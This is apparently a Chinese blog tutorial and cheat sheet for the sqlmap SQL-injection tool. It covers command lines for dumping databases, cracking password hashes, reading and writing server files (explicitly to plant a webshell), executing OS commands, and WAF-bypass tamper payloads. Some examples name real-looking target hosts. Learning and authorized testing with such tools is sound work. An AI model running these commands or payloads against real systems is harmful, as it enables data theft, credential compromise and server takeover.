一直没有找到关于sqlmap注入非常详细的知识点总结,最近在乌云里面发现一篇很好的文章关于sqlmap使用的方法
就搬运过来了,再加上一些其它文章的内容,总结而得到的本文。
寻找注入点
GET方式
1 | sqlmap -u "url" //这个URL必须含? |
POST方式
1 | sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1" |
cookie注入
1 | sqlmap -u "url" --cookie "chsadj" --level 2 //这里的URL去掉?及其后的内容,并将它们放在cookie的内容里面 |
tamper方式
1 | sqlmap -u "url" -v 3 --batch --tamper "sac.py" //temper后面的插件可以去sql安装目录查找 |
自动检测表
1 | sqlmap -u http://testasp.vulnweb.com/Login.asp --forms |
延时两秒
1 | Sqlmap –u “url” --delay 2 |
频率3次
1 | Sqlmap –u “url” --safe-freq 3 |
伪静态
1 | Sqlmap -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html //在40后面加* |
查看数据库
1 | sqlmap -u "url" --dbs //查看所有数据库 |
查看详细内容
1 | sqlmap -u "url" --tables -D "database" //database这个数据库的表数据表 |
执行特殊操作
文件查看
1 | sqlmap -u "url" –file-read= //这个读取的文件会存在本地的结果目录,请认真看提示 |
文件写入
1 | sqlmap -u "url" --file-write=本地文件路径 --file-dest=网站的绝对路径 //上传webshell用,需要dba权限 |
命令执行
1 | sqlmap -u "url" --os-cmd "cmd" //执行cmd代表的命令,如cd C:/ |
命令总览
使用sqlmap -hh
可以查看详细的命令说明:
1 | -r 1.txt 对于用post方法提交的,参数不在URL里面的网页,可以先截获数据,保存成文件再用这个参数执行 |
使用-l
参数时,这样设置burpsuite
:
注入判断
当给sqlmap
这么一个url
的时候,它会:
1 | 1. 判断可注入的参数 |
sqlmap
支持五种不同的注入模式:
1 | 1. 基于布尔的盲注,即可以根据返回页面判断条件(真\|假)的注入。 |
sqlmap
支持的数据库管理系统有:
1 | MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, |
可以提供一个简单的URL,Burp
或WebScarab
请求日志文件,文本文档中的完整http
请求或者Google
的搜索,匹配出结果页面,
也可以自己定义一个正则来判断那个地址去测试。
测试GET
参数,POST
参数,HTTP Cookie
参数,HTTP User-Agent
头和HTTP Referer
头来确认是否有SQL
注入,
它也可以指定用逗号分隔的列表的具体参数来测试。可以设定HTTP(S)
请求的并发数,来提高盲注时的效率。
用来连接数据库
这是一个比较实用的功能,用来连接数据库格式为
设置显示信息的详细度:
使用-v
参数,共有七
个等级:
1 | 0. 只显示python错误以及严重的信息。 |
可以通过学习sqlmap
的payload
来学习sql
注入,这时需要使用3级。
获取目标方式
目标URL
参数:-u
或者–url
格式:http(s)://targeturl[:port]/[…]
例如:python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users
从Burp
或者WebScarab
代理中获取日志
参数:-l
可以直接吧Burp proxy
或者WebScarab proxy
中的日志直接倒出来交给sqlmap
来一个一个检测是否有注入。
从文本中获取多个目标扫描
参数:-m
文件中保存url
格式如下,sqlmap
会一个一个检测
1 | www.target1.com/vuln1.php?q=foobar |
从文件中加载HTTP请求
参数:-r
sqlmap
可以从一个文本文件中获取HTTP
请求,这样就可以跳过设置一些其他参数(比如cookie,POST
数据,等等)。
比如文本文件内如下:
1 | POST /vuln.php |
当请求是HTTPS的时候你需要配合这个–force-ssl
参数来使用,或者你可以在Host头后面加上:443
处理Google的搜索结果
参数:-g
sqlmap
可以测试注入Google
的搜索结果中的GET
参数(只获取前100
个结果)。
例子:
1 | python sqlmap.py -g "inurl:\".php?id=1\"" |
此外可以使用-c参数加载sqlmap.conf文件里面的相关配置。
请求
http数据
参数:–data
此参数是把数据以POST
方式提交,sqlmap
会像检测GET参数一样检测POST
的参数。
例子:
1 | python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users |
参数拆分字符
参数:–param-del
当GET
或POST
的数据需要用其他字符分割测试参数的时候需要用到此参数(默认是&)。
例子:
1 | python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" |
HTTP cookie头
参数:–cookie,–load-cookies,–drop-set-cookie
这个参数在以下两个方面很有用:
- web应用需要登陆的时候。
- 你想要在这些头参数中测试SQL注入时。
可以通过抓包把cookie
获取到,复制出来,然后加到–cookie
参数里。
在HTTP
请求中,遇到Set-Cookie
的话,sqlmap
会自动获取并且在以后的请求中加入,并且会尝试SQL
注入。
如果你不想接受Set-Cookie
可以使用–drop-set-cookie
参数来拒接。
当你使用–cookie
参数时,当返回一个Set-Cookie
头的时候,sqlmap
会询问你用哪个cookie
来继续接下来的请求。
当–level
的参数设定为2或者2以上的时候,sqlmap
会尝试注入Cookie
参数。
HTTP User-Agent头
参数:–user-agent,–random-agent
默认情况下sqlmap
的HTTP
请求头中User-Agen
t值是:
1 | sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org) |
(这可能直接会被过滤掉或是触发警报,可以使用真实浏览器的useragent
,百度一下就有了)
可以使用–user-anget
参数来修改,同时也可以使用–random-agnet
参数来随机的从./txt/user-agents.txt
中获取。
当–level
参数设定为3或者3以上的时候,会尝试对User-Angent
进行注入。
HTTP Referer头
参数:–referer
sqlmap
可以在请求中伪造HTTP中的referer
,当–level
参数设定为3或者3以上的时候会尝试对referer注入。
额外的HTTP头
参数:–headers
可以通过–headers
参数来增加额外的http头
HTTP认证保护
参数:–auth-type,–auth-cred
这些参数可以用来登陆HTTP的认证保护支持三种方式:
1 | 1. Basic |
例子:
1 | python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" |
HTTP协议的证书认证
参数:–auth-cert
当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file
。
key_file
是格式为PEM文件,包含着你的私钥,cert_file
是格式为PEM
的连接文件。
HTTP(S)代理
参数:–proxy,–proxy-cred
和–ignore-proxy
使用–proxy
代理是格式为:http://url:port。
当HTTP(S)
代理需要认证是可以使用–proxy-cred
参数:username:password
。
–ignore-proxy
拒绝使用本地局域网的HTTP(S)
代理。
HTTP请求延迟
参数:–delay
可以设定两个HTTP(S)
请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。
设定超时时间
参数:–timeout
可以设定一个HTTP(S)
请求超过多久判定为超时,10.5
表示10.5
秒,默认是30
秒。
设定重试超时
参数:–retries
当HTTP(S)
超时时,可以设定重新尝试连接次数,默认是3次。
设定随机改变的参数值
参数:–randomize
可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样。
利用正则过滤目标网址
参数:**–scope**
例如:
1 | python sqlmap.py -l burp.log --scope="(www)?\.target\.(com\|net\|org)" |
避免过多的错误请求被屏蔽
参数:–safe-url,–safe-freq
有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。
绕过这个策略有两种方式:
--safe-url
:提供一个安全不错误的连接,每隔一段时间都会去访问一下。--safe-freq
:提供一个安全不错误的连接,一段频率后会访问一次。
关掉URL参数值编码
参数:–skip-urlencode
根据参数位置,他的值默认将会被URL编码,但是有些时候后端的web服务器不遵守RFC标准,只接受不经过URL
编码的值,这时候就需要用–skip-urlencode
参数。
每次请求时候执行自定义的python代码
参数:–eval
在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。
例子:
1 | python sqlmap.py -u |
上面的请求就是每次请求时根据id参数值,做一次md5
后作为hash
参数的值。
注入
测试参数
参数:-p
如: -p “id,user-anget”
指定要跳过测试的参数
参数:–skip
如:–skip=”user-angent.referer”
对于伪静态链接,可以在想测试的参数后面加*,它会测试那个指定的参数
例如:
1 | python sqlmap.py -u "http://targeturl/param1/value1\*/param2/value2/" |
指定数据库
参数:–dbms
不指定会自动探测,如果知道最好指定
1 | MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft |
指定服务器系统
参数:–os
不指定会自动探测,支持的有:Linux、Windows
。
指定无效的大数字
参数:–invalid-bignum
当你想指定一个报错的数值时,可以使用这个参数,例如默认情况系id=13,sqlmap
会变成id=-13
来报错,你可以指定比如id=9999999
来报错。
指定无效的逻辑
参数:–invalid-logical
原因同上,可以指定id=13
把原来的id=-13
的报错改成id=13 AND 18=19
。
注入payload
参数:–prefix,–suffix
在有些环境中,需要在注入的payload
的前面或者后面加一些字符,来保证payload
的正常执行。
例如,代码中是这样调用数据库的:
1 | $query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1"; |
这时你就需要–prefix
和–suffix
参数了:
1 | python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix |
这样执行的SQL语句变成:
1 | $query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) |
修改注入的数据
参数:–tamper
sqlmap
除了使用CHAR()
函数来防止出现单引号之外没有对注入的数据修改,你可以使用–tamper
参数对数据做修改来绕过WAF等设备。
下面是一个tamper
脚本的格式:
1 | # Needed imports |
可以查看 tamper/
目录下的有哪些可用的脚本
例如:
1 | $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 |
探测
探测等级
参数:–level
共有五个等级,默认为1,sqlmap
使用的payload
可以在xml/payloads.xml
中看到,你也可以根据相应的格式添加自己的payload
。
这个参数不仅影响使用哪些payload
同时也会影响测试的注入点,GET
和POST
的数据都会测试,HTTP Cookie
在level
为2的时候
就会测试,HTTP User-Agent/Referer
头在level
为3的时候就会测试。
总之在你不确定哪个payload
或者参数为注入点的时候,为了保证全面性,建议使用高的level
值。
风险等级
参数:–risk
共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。
测试的语句同样可以在xml/payloads.xml
中找到,你也可以自行添加payload
。
页面比较
参数:–string,–not-string,–regexp,–code
默认情况下sqlmap通过判断返回页面的不同来判断真假,但有时候这会产生误差,因为有的页面在每次刷新的时候都会返回不同的代码,
比如页面当中包含一个动态的广告或者其他内容,这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配,
在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用–string参数添加字符串,–regexp添加正则),
同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(–not-string添加)。
用户也可以提供真与假条件返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,可以添加参数–code=200。
参数:–text-only,–titles
有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置在哪里可以使用–text-only(HTTP响应体中不同)–titles(HTML的title标签中不同)。
注入技术
测试是否是注入
参数:–technique
这个参数可以指定sqlmap
使用的探测技术,默认情况下会测试所有的方式。
支持的探测方式如下:
1 | B: Boolean-based blind SQL injection(布尔型注入) |
设定延迟注入的时间
参数:–time-sec
当使用继续时间的盲注时,时刻使用–time-sec
参数设定延时时间,默认是5秒。
设定UNION查询字段数
参数:–union-cols
默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当–level为5的时候他会增加测试到50个字段数。
设定–union-cols
的值应该是一段整数,如:12-16,是测试12-16个字段数。
设定UNION查询使用的字符
参数:–union-char
默认情况下sqlmap
针对UNION
查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,
这是你可以用–union-char
只定UNION查询的字符。
二阶SQL注入
参数:–second-order
有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。
–second-order
后面跟一个判断页面的URL地址。
列数据
参数:-b,–banner
大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。
用户
参数:-current-user
在大多数据库中可以获取到管理数据的用户。
当前数据库
参数:–current-db
返还当前连接的数据库。
当前用户是否为管理用
参数:–is-dba
判断当前的用户是否为管理,是的话会返回True。
列数据库管理用户
参数:–users
当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。
列出并破解数据库用户的hash
参数:–passwords
当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
1 | $ python sqlmap.py -u "http://********/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1 |
可以看到sqlmap不仅勒出数据库的用户跟密码,同时也识别出是PostgreSQL数据库,并询问用户是否采用字典爆破的方式进行破解,
这个爆破已经支持Oracle
和Microsoft SQL Server
。
也可以提供-U参数来指定爆破哪个用户的hash
。
列出数据库管理员权限
参数:–privileges
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。
也可以用-U参数指定你想看哪个用户的权限。
列出数据库管理员角色
参数:–roles
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。
仅适用于当前数据库是Oracle
的时候。
列出数据库系统的数据库
参数:–dbs
当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。
列举数据库表
参数:–tables,–exclude-sysdbs,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。
1 | sqlmap -u "http://192.168.163.138/mutillidae/index.php?page=user-info.php&username=111&password=12123&user-info-php-submit-button=View+Account+Details" |
如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。
–exclude-sysdbs参数是指包含了所有的系统数据库。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。
列举数据库表中的字段
参数:–columns,-C,-T,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。
如果没有使用-D参数指定数据库时,默认会使用当前数据库。
1 | $ python sqlmap.py -u "http://*******/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name |
列举数据库系统的架构
参数:–schema,–exclude-sysdbs
用户可以用此参数获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型。
加上–exclude-sysdbs
参数,将不会获取数据库自带的系统库内容。
MySQL例子:
1 | $ python sqlmap.py -u "http://*******/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs |
获取表中数据个数
参数:–count
有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。
列举一个Microsoft SQL Server
例子:
1 | $ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb |
获取整个表的数据
参数:–dump,-C,-T,-D,–start,–stop,–first,–last
如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。
使用-D,-T
参数指定想要获取哪个库的哪个表,不使用-D参数时,默认使用当前库。
列举一个Firebird
的例子:
1 | $ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users |
可以获取指定库中的所有表的内容,只用-dump
跟-D
参数(不使用-T与-C参数)。
也可以用-dump跟-C获取指定的字段内容。
sqlmap为每个表生成了一个CSV文件。
如果你只想获取一段数据,可以使用–start和–stop参数,例如,你只想获取第一段数据可hi使用–stop
1,如果想获取第二段与第三段数据,使用参数 –start 1 –stop 3。
也可以用–first与–last
参数,获取第几个字符到第几个字符的内容,如果你想获取字段中地三个字符到第五个字符的内容,使用–first
3:–last
4:只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。
获取所有数据库表的内容
参数:–dump-all,–exclude-sysdbs
使用–dump-all
参数获取所有数据库表的内容,可同时加上–exclude-sysdbs
只获取用户数据库的表,
需要注意在Microsoft SQL
Server
中master
数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它。
搜索字段,表,数据库
参数:–search,-C,-T,-D
–search
可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。
可以在一下三种情况下使用:
1 | -C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。 |
运行自定义的SQL语句
参数:–sql-query,–sql-shell
sqlmap
会自动检测确定使用哪种SQL注入技术,如何插入检索语句。
如果是SELECT
查询语句,sqlap
将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。
列举一个Mircrosoft SQL Server 2000
的例子:
1 | $ python sqlmap.py -u "http://**********/sqlmap/mssql/get_int.php?id=1" |
爆破
暴力破解表名
参数:–common-tables
当使用–tables
无法获取到数据库的表时,可以使用此参数。
通常是如下情况:
1 | 1. `MySQL`数据库版本小于5.0,没有`information_schema`表。 |
暴力破解的表在txt/common-tables.txt
文件中,你可以自己添加。
列举一个MySQL 4.1的例子:
1 | $ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner |
暴力破解列名
参数:–common-columns
与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt
中。
可以选择多线程来尝试破解。
针对过滤空格的:
1:space2dash.py
作用:用”– 随机字符串%0A” 替换原来的空格
示例:
1 | '1 AND 9227=9227' |
原理是–n是注释,后面内容不生效,%0A为换行符,这样就可以不使用空格分隔了。
在以下版本做过测试:
1 | MSSQL |
2:space2hash.py
作用:空格替换为#号 随机字符串 以及换行符
示例:
1 | 1 AND 9227=9227 |
版本要求:
1 | MySQL |
3: space2morehash.py
作用:空格替换为 #号 以及更多随机字符串 换行符(和上一条原理一致)
示例:
1 | 1 AND 9227=9227 |
版本要求:
- MySQL >= 5.1.13 Tested
针对此做过测试: - MySQL 5.1.41
space2mssqlblank.py
作用:空格替换为其它空符号
示例:
1 | SELECT id FROM users |
版本要求:
1 | Microsoft SQL Server |
4:space2mysqlblank.py
作用:空格替换其它空白符号
示例:
1 | id users |
版本要求:
1 | MySQL |
5:space2mssqlhash.py
作用:替换空格
示例:
1 | '1 AND 9227=9227' |
版本要求:
1 | MSSQL |
6:modsecurityversioned.py
作用:过滤空格,包含完整的查询版本注释
示例:
1 | '1 AND 2>1--' |
版本要求:
1 | MySQL |
7:space2comment.py
作用:Replaces space character (‘ ‘) with comments ‘/**/’
示例:
1 | SELECT id FROM users |
在以下版本做过测试:
1 | Microsoft SQL Server 2005 |
8:space2mysqldash.py
作用:用–%0A
替换空格
注:之前有个mssql
的 这个是mysql
的
示例:
1 | '1 AND 9227=9227' |
版本要求:
1 | MySQL |
9:space2plus.py
作用:用+替换空格
示例:
1 | 'SELECT id FROM users' |
在以下版本做过测试:
All
10:bluecoat.py
作用:代替空格字符后与一个有效的随机空白字符的SQL
语句。 然后替换=为like
示例:
1 | 'SELECT id FROM users where id = 1' |
在以下版本做过测试:
1 | MySQL 5.1, SGOS |
11:space2randomblank.py
作用:代替空格字符(“”)从一个随机的空白字符可选字符的有效集
示例:
1 | 'SELECT id FROM users' |
在以下版本做过测试:
All
12:sp_password.py
作用:追加sp_password’
从DBMS日志的自动模糊处理的有效载荷的末尾
示例:
1 | '1 AND 9227=9227-- ' |
版本要求: * MSSQL
针对过滤引号的:
1:apostrophemask.py
作用:用utf8
代替单引号
示例:
1 | "1 AND '1'='1" |
在以下版本做过测试:
all
2:apostrophenullencode.py
作用:绕过过滤双引号,替换字符和双引号。
示例:
1 | "1 AND '1'='1" |
在以下版本做过测试:
1 | MySQL 4, 5.0 and 5.5 |
针对过滤关键字的:
1:halfversionedmorekeywords.py
作用:当数据库为mysql
时绕过防火墙,每个关键字之前添加mysql
版本评论
示例:
1 | ("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" |
版本要求:
1 | MySQL < 5.1 |
2:ifnull2ifisnull.py
作用:绕过对IFNULL
过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
示例:
1 | 'IFNULL(1, 2)' |
版本要求:
1 | MySQL |
3:multiplespaces.py
作用:围绕SQL关键字添加多个空格
示例:
1 | '1 UNION SELECT foobar' |
在以下版本做过测试:
All
4:halfversionedmorekeywords.py
作用:关键字前加注释
示例:
1 | value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa |
版本要求:
1 | MySQL < 5.1 |
5:unionalltounion.py
作用:替换UNION ALL SELECT UNION SELECT
示例:
1 | '-1 UNION ALL SELECT' |
版本要求: all
6:randomcomments.py
作用:用/**/分割sql关键字
1 | ‘INSERT’ |
7:unmagicquotes.py
作用:宽字符绕过 GPC addslashes
示例:
1 | 1’ AND 1=1 |
作用:随机大小写
示例:
INSERT
InsERt
在以下版本做过测试:
1 | Microsoft SQL Server 2005 |
针对过滤比较符号的:
1:equaltolike.py
作用:like 代替等号
示例:
1 | SELECT * FROM users WHERE id=1 |
2:greatest.py
作用:绕过过滤’>’ ,用GREATEST替换大于号。
示例:
1 | '1 AND A > B' |
在以下版本做过测试:
1 | MySQL 4, 5.0 and 5.5 |
3:between.py
作用:用between替换大于号(>)
示例:
1 | '1 AND A > B--' |
在以下版本做过测试:
1 | Microsoft SQL Server 2005 MySQL 4, 5.0 and 5.5 |
其他类型:
1:versionedmorekeywords.py
作用:注释绕过
示例:
1 | 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# |
版本要求:
1 | MySQL >= 5.1.13 |
2:securesphere.py
作用:追加特制的字符串
示例:
1 | '1 AND 1=1' |
在以下版本做过测试:
All
3:charunicodeencode.py
作用:字符串 unicode 编码
示例:
1 | FIELD%20FROM |
版本要求:
1 | ASP |
4:charencode.py
作用:url编码
示例:
1 | SELECT FIELD FROM%20TABLE |
在以下版本做过测试:
1 | Microsoft SQL Server 2005 |
5:appendnullbyte.py
作用:在有效负荷结束位置加载零字节字符编码
1 | ‘1 AND 1=1’ |
版本要求:
1 | Microsoft Access |
6:chardoubleencode.py
作用: 双url编码(不处理以编码的)
示例:
1 | SELECT FIELD FROM%20TABLE |
7:base64encode.py
作用:用base64
编码替换
示例:
1 | "1' AND SLEEP(5)#" |
版本要求:
all
8:nonrecursivereplacement.py
作用:双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
示例:
1 | '1 UNION SELECT 2--' |
在以下版本做过测试:
1 | all |
后续内容将会继续更新。。。。。。。。。
参考资料:
安全牛课堂-kali-linux-web篇
sqlmap用户手册中文版:https://octobug.gitbooks.io/sqlmap-wiki-zhcn/content/Users-manual/Introduction.html
sqlmap用户手册:http://drops.xmd5.com/static/drops/tips-143.html
例子:
1 | $ sqlmap -u "https://[REDACTED]/server.php" --header "Status: *" --prefix "3'" --suffix "#" --tamper "randomcase,space2comment" -A "" --dbms mysql --string "HTTP 401 Unauthorized" --technique=B --sql-shell --threads=8 |